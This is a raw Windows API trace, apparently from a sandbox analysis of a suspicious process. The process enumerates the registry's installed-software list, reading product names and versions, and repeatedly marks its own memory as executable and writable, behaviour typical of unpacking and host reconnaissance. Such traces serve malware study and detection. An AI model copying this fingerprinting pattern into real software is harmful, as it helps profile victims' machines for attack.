hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6d0) returned 0x0 [0166.334] RegQueryValueExW (in: hKey=0x6d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Mozilla Firefox 25.0 (x86 en-US)", lpcbData=0x1e7df794*=0x42) returned 0x0 [0166.334] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.334] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a60, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 14 [0166.334] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a7c, cbMultiByte=84, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)-US)0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 84 [0166.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6d4) returned 0x0 [0166.334] RegQueryValueExW (in: hKey=0x6d4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="25.0", lpcbData=0x1e7df78c*=0xa) returned 0x0 [0166.334] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.335] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\n", cchWideChar=149, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\n", lpUsedDefaultChar=0x0) returned 149 [0166.335] RegEnumKeyA (in: hKey=0x674, dwIndex=0xc, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="MozillaMaintenanceService") returned 0x0 [0166.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ae0, cbMultiByte=149, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nṽ䔈ἂ䓰ἂ\x18") returned 149 [0166.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nṽ䔈ἂ䓰ἂ\x18") returned 11 [0166.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf25cc, cbMultiByte=77, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceServiceome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nṽ䔈ἂ䓰ἂ\x18") returned 77 [0166.335] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6d8) returned 0x0 [0166.335] RegQueryValueExW (in: hKey=0x6d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Mozilla Maintenance Service", lpcbData=0x1e7df794*=0x38) returned 0x0 [0166.335] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a60, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceServiceome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nṽ䔈ἂ䓰ἂ\x18") returned 14 [0166.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321d4, cbMultiByte=77, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceServiceviceome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nṽ䔈ἂ䓰ἂ\x18") returned 77 [0166.336] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6dc) returned 0x0 [0166.336] RegQueryValueExW (in: hKey=0x6dc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="25.0", lpcbData=0x1e7df78c*=0xa) returned 0x0 [0166.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.342] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.342] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n", cchWideChar=184, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n\n", lpUsedDefaultChar=0x0) returned 184 [0166.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.343] RegEnumKeyA (in: hKey=0x674, dwIndex=0xd, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="SchedulingAgent") returned 0x0 [0166.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32230, cbMultiByte=184, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n䳄ῐ䲜ῐᇈ") returned 184 [0166.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n䳄ῐ䲜ῐᇈ") returned 11 [0166.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=67, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgentGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n䳄ῐ䲜ῐᇈ") returned 67 [0166.344] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6e0) returned 0x0 [0166.344] RegQueryValueExW (in: hKey=0x6e0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.344] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04adc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgentGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n䳄ῐ䲜ῐᇈ") returned 14 [0166.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b58, cbMultiByte=67, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgentgentGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n䳄ῐ䲜ῐᇈ") returned 67 [0166.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6e4) returned 0x0 [0166.345] RegQueryValueExW (in: hKey=0x6e4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.345] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.345] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n", cchWideChar=188, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n)", lpUsedDefaultChar=0x0) returned 188 [0166.345] RegEnumKeyA (in: hKey=0x674, dwIndex=0xe, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="WIC") returned 0x0 [0166.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ba8, cbMultiByte=188, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\nᇈ") returned 188 [0166.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\nᇈ") returned 11 [0166.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd320fc, cbMultiByte=55, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\nᇈ") returned 55 [0166.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6e8) returned 0x0 [0166.345] RegQueryValueExW (in: hKey=0x6e8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.345] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32150, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\WIC()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\nᇈ") returned 14 [0166.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3216c, cbMultiByte=55, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\\WIC()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\nᇈ") returned 55 [0166.346] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6ec) returned 0x0 [0166.346] RegQueryValueExW (in: hKey=0x6ec, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.346] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.346] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n", cchWideChar=192, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n\n", lpUsedDefaultChar=0x0) returned 192 [0166.346] RegEnumKeyA (in: hKey=0x674, dwIndex=0xf, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 0x0 [0166.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321b0, cbMultiByte=192, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n麗ṽ≾@⊅@\x16") returned 192 [0166.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n麗ṽ≾@⊅@\x16") returned 11 [0166.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04af8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n麗ṽ≾@⊅@\x16") returned 90 [0166.347] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6f0) returned 0x0 [0166.347] RegQueryValueExW (in: hKey=0x6f0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x1e7df794*=0x76) returned 0x0 [0166.347] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b70, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n麗ṽ≾@⊅@\x16") returned 14 [0166.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c04, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}F3E}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\n麗ṽ≾@⊅@\x16") returned 90 [0166.347] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6f4) returned 0x0 [0166.347] RegQueryValueExW (in: hKey=0x6f4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="12.0.21005", lpcbData=0x1e7df78c*=0x16) returned 0x0 [0166.347] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.348] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n", cchWideChar=264, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n8", lpUsedDefaultChar=0x0) returned 264 [0166.348] RegEnumKeyA (in: hKey=0x674, dwIndex=0x10, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 0x0 [0166.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c6c, cbMultiByte=264, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n杦癨杨癨晧杤桦档杦攮數") returned 264 [0166.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n杦癨杨癨晧杤桦档杦攮數") returned 11 [0166.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd320fc, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual 